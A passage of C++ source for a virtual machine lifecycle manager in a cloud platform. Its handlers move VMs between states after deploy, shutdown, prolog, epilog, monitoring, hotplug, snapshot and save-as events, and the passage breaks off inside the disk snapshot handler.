vmpool->update(vm);
}
else if (vm->get_lcm_state() == VirtualMachine::BOOT_UNDEPLOY)
{
vm->set_state(VirtualMachine::BOOT_UNDEPLOY_FAILURE);
vmpool->update(vm);
}
//wrong state + recover failure from failure state
else if ( vm->get_lcm_state() != VirtualMachine::BOOT_FAILURE &&
vm->get_lcm_state() != VirtualMachine::BOOT_MIGRATE_FAILURE &&
vm->get_lcm_state() != VirtualMachine::BOOT_UNDEPLOY_FAILURE &&
vm->get_lcm_state() != VirtualMachine::BOOT_STOPPED_FAILURE )
{
vm->log("LCM",Log::ERROR,"deploy_failure_action, VM in a wrong state");
}
vm->unlock();
}
/* -------------------------------------------------------------------------- */
/* -------------------------------------------------------------------------- */
void LifeCycleManager::shutdown_success_action(int vid)
{
VirtualMachine * vm;
time_t the_time = time(0);
vm = vmpool->get(vid);
if ( vm == nullptr )
{
return;
}
if ( vm->get_lcm_state() == VirtualMachine::SHUTDOWN )
{
//----------------------------------------------------
// EPILOG STATE
//----------------------------------------------------
vm->set_state(VirtualMachine::EPILOG);
if ( !vmm->is_keep_snapshots(vm->get_vmm_mad()) )
{
vm->delete_snapshots();
}
vm->set_epilog_stime(the_time);
vm->set_running_etime(the_time);
vmpool->update_history(vm);
vmpool->update(vm);
//----------------------------------------------------
tm->trigger(TMAction::EPILOG,vid);
}
else if (vm->get_lcm_state() == VirtualMachine::SHUTDOWN_POWEROFF)
{
//----------------------------------------------------
// POWEROFF STATE
//----------------------------------------------------
if ( !vmm->is_keep_snapshots(vm->get_vmm_mad()) )
{
vm->delete_snapshots();
vmpool->update(vm);
}
//----------------------------------------------------
dm->trigger(DMAction::POWEROFF_SUCCESS,vid);
}
else if (vm->get_lcm_state() == VirtualMachine::SHUTDOWN_UNDEPLOY)
{
//----------------------------------------------------
// EPILOG_UNDEPLOY STATE
//----------------------------------------------------
vm->set_state(VirtualMachine::EPILOG_UNDEPLOY);
if ( !vmm->is_keep_snapshots(vm->get_vmm_mad()) )
{
vm->delete_snapshots();
}
vm->set_epilog_stime(the_time);
vm->set_running_etime(the_time);
vmpool->update_history(vm);
vmpool->update(vm);
//----------------------------------------------------
tm->trigger(TMAction::EPILOG_STOP,vid);
}
else if (vm->get_lcm_state() == VirtualMachine::SAVE_MIGRATE)
{
start_prolog_migrate(vm);
}
else
{
vm->log("LCM",Log::ERROR,"shutdown_success_action, VM in a wrong state");
}
vm->unlock();
}
/* -------------------------------------------------------------------------- */
/* -------------------------------------------------------------------------- */
void LifeCycleManager::shutdown_failure_action(int vid)
{
VirtualMachine * vm;
vm = vmpool->get(vid);
if ( vm == nullptr )
{
return;
}
if ( vm->get_lcm_state() == VirtualMachine::SHUTDOWN ||
vm->get_lcm_state() == VirtualMachine::SHUTDOWN_POWEROFF ||
vm->get_lcm_state() == VirtualMachine::SHUTDOWN_UNDEPLOY )
{
//----------------------------------------------------
// RUNNING STATE FROM SHUTDOWN
//----------------------------------------------------
vm->set_state(VirtualMachine::RUNNING);
vm->clear_action();
vmpool->update_history(vm);
vmpool->update(vm);
vm->log("LCM", Log::INFO, "Fail to shutdown VM."
" Assuming that the VM is still RUNNING.");
}
else if (vm->get_lcm_state() == VirtualMachine::SAVE_MIGRATE)
{
revert_migrate_after_failure(vm);
}
else
{
vm->log("LCM",Log::ERROR,"shutdown_failure_action, VM in a wrong state");
}
vm->unlock();
}
/* -------------------------------------------------------------------------- */
/* -------------------------------------------------------------------------- */
void LifeCycleManager::prolog_success_action(int vid)
{
VirtualMachine * vm;
time_t the_time = time(0);
ostringstream os;
VMMAction::Actions action;
vm = vmpool->get(vid);
if ( vm == nullptr )
{
return;
}
VirtualMachine::LcmState lcm_state = vm->get_lcm_state();
switch (lcm_state)
{
//---------------------------------------------------------------------
// BOOT STATE
//---------------------------------------------------------------------
case VirtualMachine::PROLOG_RESUME:
case VirtualMachine::PROLOG_RESUME_FAILURE: //recover success
case VirtualMachine::PROLOG_UNDEPLOY:
case VirtualMachine::PROLOG_UNDEPLOY_FAILURE: //recover success
case VirtualMachine::PROLOG_MIGRATE:
case VirtualMachine::PROLOG_MIGRATE_FAILURE: //recover success
case VirtualMachine::PROLOG:
case VirtualMachine::PROLOG_FAILURE: //recover success
case VirtualMachine::PROLOG_MIGRATE_UNKNOWN:
case VirtualMachine::PROLOG_MIGRATE_UNKNOWN_FAILURE: //recover success
switch (lcm_state)
{
case VirtualMachine::PROLOG_RESUME:
case VirtualMachine::PROLOG_RESUME_FAILURE:
action = VMMAction::RESTORE;
vm->set_state(VirtualMachine::BOOT_STOPPED);
break;
case VirtualMachine::PROLOG_UNDEPLOY:
case VirtualMachine::PROLOG_UNDEPLOY_FAILURE:
action = VMMAction::DEPLOY;
vm->set_state(VirtualMachine::BOOT_UNDEPLOY);
break;
case VirtualMachine::PROLOG_MIGRATE:
case VirtualMachine::PROLOG_MIGRATE_FAILURE: //recover success
if (vm->get_action() == VMActions::POFF_MIGRATE_ACTION ||
vm->get_action() == VMActions::POFF_HARD_MIGRATE_ACTION)
{
action = VMMAction::DEPLOY;
vm->set_state(VirtualMachine::BOOT);
}
else
{
action = VMMAction::RESTORE;
vm->set_state(VirtualMachine::BOOT_MIGRATE);
}
break;
case VirtualMachine::PROLOG_MIGRATE_UNKNOWN:
case VirtualMachine::PROLOG_MIGRATE_UNKNOWN_FAILURE:
case VirtualMachine::PROLOG:
case VirtualMachine::PROLOG_FAILURE: //recover success
action = VMMAction::DEPLOY;
vm->set_state(VirtualMachine::BOOT);
break;
default:
return;
}
vm->set_prolog_etime(the_time);
vm->set_running_stime(the_time);
vmpool->update_history(vm);
vmpool->update(vm);
vmm->trigger(action,vid);
break;
//---------------------------------------------------------------------
// POWEROFF/SUSPEND STATE
//---------------------------------------------------------------------
case VirtualMachine::PROLOG_MIGRATE_POWEROFF:
case VirtualMachine::PROLOG_MIGRATE_POWEROFF_FAILURE: //recover success
case VirtualMachine::PROLOG_MIGRATE_SUSPEND:
case VirtualMachine::PROLOG_MIGRATE_SUSPEND_FAILURE: //recover success
if ( !vmm->is_keep_snapshots(vm->get_vmm_mad()) )
{
vm->delete_snapshots();
}
vm->set_prolog_etime(the_time);
vmpool->update_history(vm);
vmpool->update(vm);
if (lcm_state == VirtualMachine::PROLOG_MIGRATE_POWEROFF||
lcm_state == VirtualMachine::PROLOG_MIGRATE_POWEROFF_FAILURE)
{
dm->trigger(DMAction::POWEROFF_SUCCESS,vid);
}
else //PROLOG_MIGRATE_SUSPEND, PROLOG_MIGRATE_SUSPEND_FAILURE
{
dm->trigger(DMAction::SUSPEND_SUCCESS,vid);
}
break;
default:
vm->log("LCM",Log::ERROR,"prolog_success_action, VM in a wrong state");
break;
}
vm->unlock();
return;
}
/* -------------------------------------------------------------------------- */
/* -------------------------------------------------------------------------- */
void LifeCycleManager::prolog_failure_action(int vid)
{
HostShareCapacity sr;
time_t t = time(0);
VirtualMachine * vm = vmpool->get(vid);
if ( vm == nullptr )
{
return;
}
switch (vm->get_lcm_state())
{
case VirtualMachine::PROLOG:
vm->set_state(VirtualMachine::PROLOG_FAILURE);
vmpool->update(vm);
break;
case VirtualMachine::PROLOG_MIGRATE:
vm->set_state(VirtualMachine::PROLOG_MIGRATE_FAILURE);
vmpool->update(vm);
break;
case VirtualMachine::PROLOG_MIGRATE_POWEROFF:
vm->set_state(VirtualMachine::PROLOG_MIGRATE_POWEROFF_FAILURE);
vmpool->update(vm);
break;
case VirtualMachine::PROLOG_MIGRATE_SUSPEND:
vm->set_state(VirtualMachine::PROLOG_MIGRATE_SUSPEND_FAILURE);
vmpool->update(vm);
break;
case VirtualMachine::PROLOG_MIGRATE_UNKNOWN:
vm->set_state(VirtualMachine::PROLOG_MIGRATE_UNKNOWN_FAILURE);
vmpool->update(vm);
break;
case VirtualMachine::PROLOG_RESUME:
vm->set_state(VirtualMachine::PROLOG_RESUME_FAILURE);
vmpool->update(vm);
break;
case VirtualMachine::PROLOG_UNDEPLOY:
vm->set_state(VirtualMachine::PROLOG_UNDEPLOY_FAILURE);
vmpool->update(vm);
break;
//recover failure from failure state
case VirtualMachine::PROLOG_MIGRATE_FAILURE:
case VirtualMachine::PROLOG_MIGRATE_POWEROFF_FAILURE:
case VirtualMachine::PROLOG_MIGRATE_SUSPEND_FAILURE:
case VirtualMachine::PROLOG_MIGRATE_UNKNOWN_FAILURE:
// Close current history record
vm->set_prolog_etime(t);
vm->set_etime(t);
vmpool->update_history(vm);
switch (vm->get_lcm_state())
{
case VirtualMachine::PROLOG_MIGRATE_FAILURE:
vm->set_state(VirtualMachine::PROLOG_MIGRATE);
break;
case VirtualMachine::PROLOG_MIGRATE_POWEROFF_FAILURE:
vm->set_state(VirtualMachine::PROLOG_MIGRATE_POWEROFF);
break;
case VirtualMachine::PROLOG_MIGRATE_SUSPEND_FAILURE:
vm->set_state(VirtualMachine::PROLOG_MIGRATE_SUSPEND);
break;
case VirtualMachine::PROLOG_MIGRATE_UNKNOWN_FAILURE:
vm->set_state(VirtualMachine::PROLOG_MIGRATE_UNKNOWN);
break;
default:
break;
}
vm->get_capacity(sr);
hpool->del_capacity(vm->get_hid(), sr);
// Clone previous history record into a new one
vm->cp_previous_history();
vm->set_stime(t);
vm->set_prolog_stime(t);
hpool->add_capacity(vm->get_hid(), sr);
vmpool->insert_history(vm);
vmpool->update(vm);
trigger(LCMAction::PROLOG_SUCCESS, vm->get_oid());
break;
case VirtualMachine::PROLOG_RESUME_FAILURE:
case VirtualMachine::PROLOG_UNDEPLOY_FAILURE:
case VirtualMachine::PROLOG_FAILURE:
break;
default: //wrong state
vm->log("LCM",Log::ERROR,"prolog_failure_action, VM in a wrong state");
break;
}
vm->unlock();
return;
}
/* -------------------------------------------------------------------------- */
/* -------------------------------------------------------------------------- */
void LifeCycleManager::epilog_success_action(int vid)
{
VirtualMachine * vm;
HostShareCapacity sr;
time_t the_time = time(0);
unsigned int port;
VirtualMachine::LcmState state;
DMAction::Actions action;
vm = vmpool->get(vid);
if ( vm == nullptr )
{
return;
}
state = vm->get_lcm_state();
//Recover failure epilog states with success
if ( state == VirtualMachine::EPILOG_STOP_FAILURE )
{
vm->set_state(VirtualMachine::EPILOG_STOP);
}
else if ( state == VirtualMachine::EPILOG_UNDEPLOY_FAILURE )
{
vm->set_state(VirtualMachine::EPILOG_UNDEPLOY);
}
else if ( state == VirtualMachine::EPILOG_FAILURE )
{
vm->set_state(VirtualMachine::EPILOG);
}
state = vm->get_lcm_state();
if ( state == VirtualMachine::EPILOG_STOP )
{
action = DMAction::STOP_SUCCESS;
}
else if ( state == VirtualMachine::EPILOG_UNDEPLOY )
{
action = DMAction::UNDEPLOY_SUCCESS;
}
else if ( state == VirtualMachine::EPILOG )
{
action = DMAction::DONE;
}
else if ( state == VirtualMachine::CLEANUP_RESUBMIT )
{
dm->trigger(DMAction::RESUBMIT, vid);
vmpool->update(vm);
vm->unlock();
return;
}
else
{
vm->log("LCM",Log::ERROR,"epilog_success_action, VM in a wrong state");
vm->unlock();
return;
}
vm->set_epilog_etime(the_time);
vm->set_etime(the_time);
VectorAttribute * graphics = vm->get_template_attribute("GRAPHICS");
//Do not free VNC ports for STOP as it is stored in checkpoint file
if ( graphics != nullptr && (graphics->vector_value("PORT", port) == 0) &&
state != VirtualMachine::EPILOG_STOP )
{
graphics->remove("PORT");
clpool->release_vnc_port(vm->get_cid(), port);
}
vmpool->update_history(vm);
vm->get_capacity(sr);
hpool->del_capacity(vm->get_hid(), sr);
vmpool->update(vm);
//----------------------------------------------------
dm->trigger(action,vid);
vm->unlock();
return;
}
/* -------------------------------------------------------------------------- */
/* -------------------------------------------------------------------------- */
void LifeCycleManager::cleanup_callback_action(int vid)
{
VirtualMachine * vm;
VirtualMachine::LcmState state;
vm = vmpool->get_ro(vid);
if ( vm == nullptr )
{
return;
}
state = vm->get_lcm_state();
if ( state == VirtualMachine::CLEANUP_RESUBMIT )
{
dm->trigger(DMAction::RESUBMIT, vid);
}
else
{
vm->log("LCM",Log::ERROR,"cleanup_callback_action, VM in a wrong state");
}
vm->unlock();
return;
}
/* -------------------------------------------------------------------------- */
/* -------------------------------------------------------------------------- */
void LifeCycleManager::epilog_failure_action(int vid)
{
VirtualMachine * vm;
VirtualMachine::LcmState state;
vm = vmpool->get(vid);
if ( vm == nullptr )
{
return;
}
state = vm->get_lcm_state();
if ( state == VirtualMachine::CLEANUP_RESUBMIT )
{
dm->trigger(DMAction::RESUBMIT, vid);
}
else if ( state == VirtualMachine::EPILOG )
{
vm->set_state(VirtualMachine::EPILOG_FAILURE);
vmpool->update(vm);
}
else if ( state == VirtualMachine::EPILOG_STOP )
{
vm->set_state(VirtualMachine::EPILOG_STOP_FAILURE);
vmpool->update(vm);
}
else if ( state == VirtualMachine::EPILOG_UNDEPLOY )
{
vm->set_state(VirtualMachine::EPILOG_UNDEPLOY_FAILURE);
vmpool->update(vm);
}
//wrong state + recover failure from failure state
else if ( state != VirtualMachine::EPILOG_FAILURE &&
state != VirtualMachine::EPILOG_UNDEPLOY_FAILURE &&
state != VirtualMachine::EPILOG_STOP_FAILURE )
{
vm->log("LCM",Log::ERROR,"epilog_failure_action, VM in a wrong state");
}
vm->unlock();
return;
}
/* -------------------------------------------------------------------------- */
/* -------------------------------------------------------------------------- */
void LifeCycleManager::monitor_suspend_action(int vid)
{
VirtualMachine * vm;
vm = vmpool->get(vid);
if ( vm == nullptr )
{
return;
}
if ( vm->get_lcm_state() == VirtualMachine::RUNNING ||
vm->get_lcm_state() == VirtualMachine::UNKNOWN )
{
//----------------------------------------------------
// SAVE_SUSPEND STATE
//----------------------------------------------------
vm->log("LCM", Log::INFO, "Polling reports that the VM is suspended.");
vm->set_state(VirtualMachine::SAVE_SUSPEND);
vm->set_resched(false);
if ( !vmm->is_keep_snapshots(vm->get_vmm_mad()) )
{
vm->delete_snapshots();
}
vm->set_internal_action(VMActions::MONITOR_ACTION);
vmpool->update_history(vm);
vmpool->update(vm);
//----------------------------------------------------
dm->trigger(DMAction::SUSPEND_SUCCESS,vid);
}
else
{
vm->log("LCM",Log::ERROR,"monitor_suspend_action, VM in a wrong state");
}
vm->unlock();
}
/* -------------------------------------------------------------------------- */
/* -------------------------------------------------------------------------- */
void LifeCycleManager::monitor_done_action(int vid)
{
VirtualMachine * vm;
vm = vmpool->get(vid);
if ( vm == nullptr )
{
return;
}
if ( vm->get_lcm_state() == VirtualMachine::RUNNING )
{
//----------------------------------------------------
// UNKNWON STATE
//----------------------------------------------------
vm->set_state(VirtualMachine::UNKNOWN);
vm->set_resched(false);
vmpool->update(vm);
}
// This event can be received when the VM is in PROLOG, BOOT...
// and other transient states (through host monitor probe).
// Just ignore the callback if VM is not in RUNNING.
vm->unlock();
}
/* -------------------------------------------------------------------------- */
/* -------------------------------------------------------------------------- */
void LifeCycleManager::monitor_poweroff_action(int vid)
{
VirtualMachine * vm;
vm = vmpool->get(vid);
if ( vm == nullptr )
{
return;
}
if ( vm->get_lcm_state() == VirtualMachine::RUNNING ||
vm->get_lcm_state() == VirtualMachine::UNKNOWN )
{
//----------------------------------------------------
// POWEROFF STATE
//----------------------------------------------------
vm->log("LCM",Log::INFO,"VM running but monitor state is POWEROFF");
if ( !vmm->is_keep_snapshots(vm->get_vmm_mad()) )
{
vm->delete_snapshots();
}
vm->set_resched(false);
vm->set_state(VirtualMachine::SHUTDOWN_POWEROFF);
vm->set_internal_action(VMActions::MONITOR_ACTION);
vmpool->update_history(vm);
vmpool->update(vm);
//----------------------------------------------------
dm->trigger(DMAction::POWEROFF_SUCCESS,vid);
}
else if ( vm->get_lcm_state() == VirtualMachine::SHUTDOWN ||
vm->get_lcm_state() == VirtualMachine::SHUTDOWN_POWEROFF ||
vm->get_lcm_state() == VirtualMachine::SHUTDOWN_UNDEPLOY )
{
vm->log("LCM", Log::INFO, "VM reported SHUTDOWN by the drivers");
trigger(LCMAction::SHUTDOWN_SUCCESS, vid);
}
vm->unlock();
}
/* -------------------------------------------------------------------------- */
/* -------------------------------------------------------------------------- */
void LifeCycleManager::monitor_poweron_action(int vid)
{
VirtualMachine * vm;
vm = vmpool->get(vid);
if ( vm == nullptr )
{
return;
}
if ( vm->get_state() == VirtualMachine::POWEROFF ||
vm->get_state() == VirtualMachine::SUSPENDED )
{
vm->log("VMM",Log::INFO,"VM found again by the drivers");
time_t the_time = time(0);
vm->set_state(VirtualMachine::ACTIVE);
vm->set_state(VirtualMachine::RUNNING);
vm->set_etime(the_time);
vmpool->update_history(vm);
vm->cp_history();
vm->set_stime(the_time);
vm->set_running_stime(the_time);
vmpool->insert_history(vm);
vmpool->update(vm);
}
else if ( vm->get_state() == VirtualMachine::ACTIVE )
{
switch (vm->get_lcm_state()) {
case VirtualMachine::UNKNOWN:
vm->log("LCM", Log::INFO, "VM found again by the drivers");
vm->set_state(VirtualMachine::RUNNING);
vmpool->update(vm);
break;
case VirtualMachine::BOOT:
case VirtualMachine::BOOT_POWEROFF:
case VirtualMachine::BOOT_UNKNOWN :
case VirtualMachine::BOOT_SUSPENDED:
case VirtualMachine::BOOT_STOPPED:
case VirtualMachine::BOOT_UNDEPLOY:
case VirtualMachine::BOOT_MIGRATE:
case VirtualMachine::BOOT_MIGRATE_FAILURE:
case VirtualMachine::BOOT_STOPPED_FAILURE:
case VirtualMachine::BOOT_UNDEPLOY_FAILURE:
case VirtualMachine::BOOT_FAILURE:
vm->log("LCM", Log::INFO, "VM reported RUNNING by the drivers");
trigger(LCMAction::DEPLOY_SUCCESS, vid);
break;
default:
break;
}
}
vm->unlock();
}
/* -------------------------------------------------------------------------- */
/* -------------------------------------------------------------------------- */
void LifeCycleManager::attach_success_action(int vid)
{
VirtualMachine * vm;
vm = vmpool->get(vid);
if ( vm == nullptr )
{
return;
}
if ( vm->get_lcm_state() == VirtualMachine::HOTPLUG )
{
vm->clear_attach_disk();
vm->set_state(VirtualMachine::RUNNING);
vmpool->update(vm);
vmpool->update_search(vm);
}
else if ( vm->get_lcm_state() == VirtualMachine::HOTPLUG_PROLOG_POWEROFF )
{
vm->log("LCM", Log::INFO, "VM Disk successfully attached.");
vm->clear_attach_disk();
vmpool->update(vm);
vmpool->update_search(vm);
dm->trigger(DMAction::POWEROFF_SUCCESS,vid);
}
else
{
vm->log("LCM",Log::ERROR,"attach_success_action, VM in a wrong state");
}
vm->unlock();
}
/* -------------------------------------------------------------------------- */
/* -------------------------------------------------------------------------- */
void LifeCycleManager::attach_failure_action(int vid)
{
VirtualMachine * vm;
vm = vmpool->get(vid);
if ( vm == nullptr )
{
return;
}
if ( vm->get_lcm_state() == VirtualMachine::HOTPLUG ||
vm->get_lcm_state() == VirtualMachine::HOTPLUG_PROLOG_POWEROFF )
{
vm->unlock();
vmpool->delete_attach_disk(vid);
vm = vmpool->get(vid);
if ( vm == nullptr )
{
return;
}
if ( vm->get_lcm_state() == VirtualMachine::HOTPLUG )
{
vm->set_state(VirtualMachine::RUNNING);
}
else
{
vm->log("LCM", Log::INFO, "VM Disk attach failure.");
dm->trigger(DMAction::POWEROFF_SUCCESS,vid);
}
vmpool->update(vm);
vm->unlock();
}
else
{
vm->log("LCM",Log::ERROR,"attach_failure_action, VM in a wrong state");
vm->unlock();
}
}
/* -------------------------------------------------------------------------- */
/* -------------------------------------------------------------------------- */
void LifeCycleManager::detach_success_action(int vid)
{
VirtualMachine * vm;
vm = vmpool->get(vid);
if ( vm == nullptr )
{
return;
}
if ( vm->get_lcm_state() == VirtualMachine::HOTPLUG ||
vm->get_lcm_state() == VirtualMachine::HOTPLUG_EPILOG_POWEROFF )
{
vm->unlock();
vmpool->delete_attach_disk(vid);
vm = vmpool->get(vid);
if ( vm == nullptr )
{
return;
}
if ( vm->get_lcm_state() == VirtualMachine::HOTPLUG )
{
vm->set_state(VirtualMachine::RUNNING);
}
else
{
vm->log("LCM", Log::INFO, "VM Disk successfully detached.");
dm->trigger(DMAction::POWEROFF_SUCCESS,vid);
}
vmpool->update(vm);
vmpool->update_search(vm);
vm->unlock();
}
else
{
vm->log("LCM",Log::ERROR,"detach_success_action, VM in a wrong state");
vm->unlock();
}
}
/* -------------------------------------------------------------------------- */
/* -------------------------------------------------------------------------- */
void LifeCycleManager::detach_failure_action(int vid)
{
VirtualMachine * vm;
vm = vmpool->get(vid);
if ( vm == nullptr )
{
return;
}
if ( vm->get_lcm_state() == VirtualMachine::HOTPLUG )
{
vm->clear_attach_disk();
vm->set_state(VirtualMachine::RUNNING);
vmpool->update(vm);
}
else if ( vm->get_lcm_state() == VirtualMachine::HOTPLUG_EPILOG_POWEROFF )
{
vm->log("LCM", Log::INFO, "VM Disk detach failure.");
vm->clear_attach_disk();
vmpool->update(vm);
dm->trigger(DMAction::POWEROFF_SUCCESS,vid);
}
else
{
vm->log("LCM",Log::ERROR,"detach_failure_action, VM in a wrong state");
}
vm->unlock();
}
/* -------------------------------------------------------------------------- */
/* -------------------------------------------------------------------------- */
void LifeCycleManager::snapshot_create_success(int vid)
{
VirtualMachine * vm;
vm = vmpool->get(vid);
if ( vm == nullptr )
{
return;
}
if ( vm->get_lcm_state() == VirtualMachine::HOTPLUG_SNAPSHOT )
{
vm->clear_active_snapshot();
vm->set_state(VirtualMachine::RUNNING);
vmpool->update(vm);
}
else
{
vm->log("LCM",Log::ERROR,"snapshot_create_success, VM in a wrong state");
}
vm->unlock();
}
/* -------------------------------------------------------------------------- */
/* -------------------------------------------------------------------------- */
void LifeCycleManager::snapshot_create_failure(int vid)
{
VirtualMachine * vm;
vm = vmpool->get(vid);
if ( vm == nullptr )
{
return;
}
if ( vm->get_lcm_state() == VirtualMachine::HOTPLUG_SNAPSHOT )
{
vm->delete_active_snapshot();
vm->set_state(VirtualMachine::RUNNING);
vmpool->update(vm);
}
else
{
vm->log("LCM",Log::ERROR,"snapshot_create_failure, VM in a wrong state");
}
vm->unlock();
}
/* -------------------------------------------------------------------------- */
/* -------------------------------------------------------------------------- */
void LifeCycleManager::snapshot_revert_success(int vid)
{
// TODO: snapshot list may be inconsistent with hypervisor info
// after a revert operation
VirtualMachine * vm;
vm = vmpool->get(vid);
if ( vm == nullptr )
{
return;
}
if ( vm->get_lcm_state() == VirtualMachine::HOTPLUG_SNAPSHOT )
{
vm->clear_active_snapshot();
vm->set_state(VirtualMachine::RUNNING);
vmpool->update(vm);
}
else
{
vm->log("LCM",Log::ERROR,"snapshot_revert_success, VM in a wrong state");
}
vm->unlock();
}
/* -------------------------------------------------------------------------- */
/* -------------------------------------------------------------------------- */
void LifeCycleManager::snapshot_revert_failure(int vid)
{
snapshot_revert_success(vid);
}
/* -------------------------------------------------------------------------- */
/* -------------------------------------------------------------------------- */
void LifeCycleManager::snapshot_delete_success(int vid)
{
VirtualMachine * vm;
vm = vmpool->get(vid);
if ( vm == nullptr )
{
return;
}
if ( vm->get_lcm_state() == VirtualMachine::HOTPLUG_SNAPSHOT )
{
vm->delete_active_snapshot();
vm->set_state(VirtualMachine::RUNNING);
vmpool->update(vm);
}
else
{
vm->log("LCM",Log::ERROR,"snapshot_delete_success, VM in a wrong state");
}
vm->unlock();
}
/* -------------------------------------------------------------------------- */
/* -------------------------------------------------------------------------- */
void LifeCycleManager::snapshot_delete_failure(int vid)
{
VirtualMachine * vm;
vm = vmpool->get(vid);
if ( vm == nullptr )
{
return;
}
if ( vm->get_lcm_state() == VirtualMachine::HOTPLUG_SNAPSHOT )
{
vm->clear_active_snapshot();
vm->set_state(VirtualMachine::RUNNING);
vmpool->update(vm);
}
else
{
vm->log("LCM",Log::ERROR,"snapshot_delete_failure, VM in a wrong state");
}
vm->unlock();
}
/* -------------------------------------------------------------------------- */
/* -------------------------------------------------------------------------- */
void LifeCycleManager::attach_nic_success_action(int vid)
{
VirtualMachine * vm;
vm = vmpool->get(vid);
if ( vm == nullptr )
{
return;
}
if ( vm->get_lcm_state() == VirtualMachine::HOTPLUG_NIC )
{
vm->clear_attach_nic();
vm->set_state(VirtualMachine::RUNNING);
vmpool->update(vm);
vmpool->update_search(vm);
}
else if ( vm->get_lcm_state() == VirtualMachine::HOTPLUG_NIC_POWEROFF )
{
vm->clear_attach_nic();
vmpool->update(vm);
vmpool->update_search(vm);
dm->trigger(DMAction::POWEROFF_SUCCESS,vid);
}
else
{
vm->log("LCM",Log::ERROR,"attach_nic_success_action, VM in a wrong state");
}
vm->unlock();
}
/* -------------------------------------------------------------------------- */
/* -------------------------------------------------------------------------- */
void LifeCycleManager::attach_nic_failure_action(int vid)
{
VirtualMachine * vm;
vm = vmpool->get(vid);
if ( vm == nullptr )
{
return;
}
if ( vm->get_lcm_state() == VirtualMachine::HOTPLUG_NIC )
{
vm->unlock();
vmpool->delete_attach_nic(vid);
vm = vmpool->get(vid);
if ( vm == nullptr )
{
return;
}
vm->set_state(VirtualMachine::RUNNING);
vmpool->update(vm);
vm->unlock();
}
else if ( vm->get_lcm_state() == VirtualMachine::HOTPLUG_NIC_POWEROFF )
{
vm->unlock();
vmpool->delete_attach_nic(vid);
dm->trigger(DMAction::POWEROFF_SUCCESS, vid);
}
else
{
vm->log("LCM",Log::ERROR,"attach_nic_failure_action, VM in a wrong state");
vm->unlock();
}
}
/* -------------------------------------------------------------------------- */
/* -------------------------------------------------------------------------- */
void LifeCycleManager::detach_nic_success_action(int vid)
{
VirtualMachine * vm;
vm = vmpool->get(vid);
if ( vm == nullptr )
{
return;
}
if ( vm->get_lcm_state() == VirtualMachine::HOTPLUG_NIC )
{
vm->unlock();
vmpool->delete_attach_nic(vid);
vm = vmpool->get(vid);
if ( vm == nullptr )
{
return;
}
vm->set_state(VirtualMachine::RUNNING);
vmpool->update(vm);
vmpool->update_search(vm);
}
else if ( vm->get_lcm_state() == VirtualMachine::HOTPLUG_NIC_POWEROFF )
{
vm->unlock();
vmpool->delete_attach_nic(vid);
vm = vmpool->get(vid);
if ( vm == nullptr )
{
return;
}
vmpool->update(vm);
vmpool->update_search(vm);
dm->trigger(DMAction::POWEROFF_SUCCESS, vid);
}
else
{
vm->log("LCM",Log::ERROR,"detach_nic_success_action, VM in a wrong state");
}
vm->unlock();
}
/* -------------------------------------------------------------------------- */
/* -------------------------------------------------------------------------- */
void LifeCycleManager::detach_nic_failure_action(int vid)
{
VirtualMachine * vm;
vm = vmpool->get(vid);
if ( vm == nullptr )
{
return;
}
if ( vm->get_lcm_state() == VirtualMachine::HOTPLUG_NIC )
{
vm->clear_attach_nic();
vm->set_state(VirtualMachine::RUNNING);
vmpool->update(vm);
}
else if ( vm->get_lcm_state() == VirtualMachine::HOTPLUG_NIC_POWEROFF )
{
vm->clear_attach_nic();
vmpool->update(vm);
dm->trigger(DMAction::POWEROFF_SUCCESS, vid);
}
else
{
vm->log("LCM",Log::ERROR,"detach_nic_failure_action, VM in a wrong state");
}
vm->unlock();
}
/* -------------------------------------------------------------------------- */
/* -------------------------------------------------------------------------- */
void LifeCycleManager::saveas_success_action(int vid)
{
int image_id;
int disk_id;
string tm_mad;
string snap;
string ds_id;
string src;
VirtualMachine * vm = vmpool->get(vid);
if ( vm == nullptr )
{
return;
}
int rc = vm->get_saveas_disk(disk_id, src, image_id, snap, tm_mad, ds_id);
vm->clear_saveas_disk();
if (vm->clear_saveas_state() == -1)
{
vm->log("LCM",Log::ERROR, "saveas_success_action, VM in a wrong state");
vmpool->update(vm);
vm->unlock();
return;
}
vmpool->update(vm);
vm->unlock();
if (rc != 0)
{
return;
}
Image * image = ipool->get(image_id);
if (image == nullptr)
{
return;
}
image->set_state_unlock();
ipool->update(image);
image->unlock();
}
/* -------------------------------------------------------------------------- */
/* -------------------------------------------------------------------------- */
void LifeCycleManager::saveas_failure_action(int vid)
{
int image_id;
int disk_id;
string tm_mad;
string snap;
string ds_id;
string src;
VirtualMachine * vm = vmpool->get(vid);
if ( vm == nullptr )
{
return;
}
int rc = vm->get_saveas_disk(disk_id, src, image_id, snap, tm_mad, ds_id);
vm->clear_saveas_disk();
if (vm->clear_saveas_state() == -1)
{
vm->log("LCM",Log::ERROR, "saveas_failure_action, VM in a wrong state");
vmpool->update(vm);
vm->unlock();
return;
}
vmpool->update(vm);
vm->unlock();
if (rc != 0)
{
return;
}
Image * image = ipool->get(image_id);
if (image == nullptr)
{
return;
}
image->set_state(Image::ERROR);
ipool->update(image);
image->unlock();
}
/* -------------------------------------------------------------------------- */
/* -------------------------------------------------------------------------- */
void LifeCycleManager::disk_snapshot_success(int vid)
{
string tm_mad;
int disk_id, ds_id, snap_id;
int img_id = -1;
Template *ds_quotas = nullptr;
Template *vm_quotas = nullptr;
bool img_owner, vm_owner;
const VirtualMachineDisk * disk;
Snapshots snaps(-1, Snapshots::DENY);
const Snapshots* tmp_snaps;
string error_str;
VirtualMachine * vm = vmpool->get(vid);
if ( vm == nullptr )
{
return;
}
if (vm->get_snapshot_disk(ds_id, tm_mad, disk_id, snap_id) == -1)
{
vm->log("LCM", Log::ERROR, "Snapshot DISK could not be found");
vm->unlock();
return;
}
int vm_uid = vm->get_uid();
int vm_gid = vm->get_gid();
VirtualMachine::LcmState state = vm->get_lcm_state();
switch (state)
{
case VirtualMachine::DISK_SNAPSHOT:
vm->set_state(VirtualMachine::RUNNING);
case VirtualMachine::DISK_SNAPSHOT_POWEROFF:
case VirtualMachine::DISK_SNAPSHOT_SUSPENDED:
vm->log("LCM", Log::INFO, "VM disk snapshot operation completed.");
vm->revert_disk_snapshot(disk_id, snap_id, false);
break;
case VirtualMachine::DISK_SNAPSHOT_REVERT_POWEROFF:
case VirtualMachine::DISK_SNAPSHOT_REVERT_SUSPENDED:
vm->log("LCM", Log::INFO, "VM disk snapshot operation completed.");
vm->revert_disk_snapshot(disk_id, snap_id, true);
break;
case VirtualMachine::DISK_SNAPSHOT_DELETE:
vm->set_state(VirtualMachine::RUNNING);
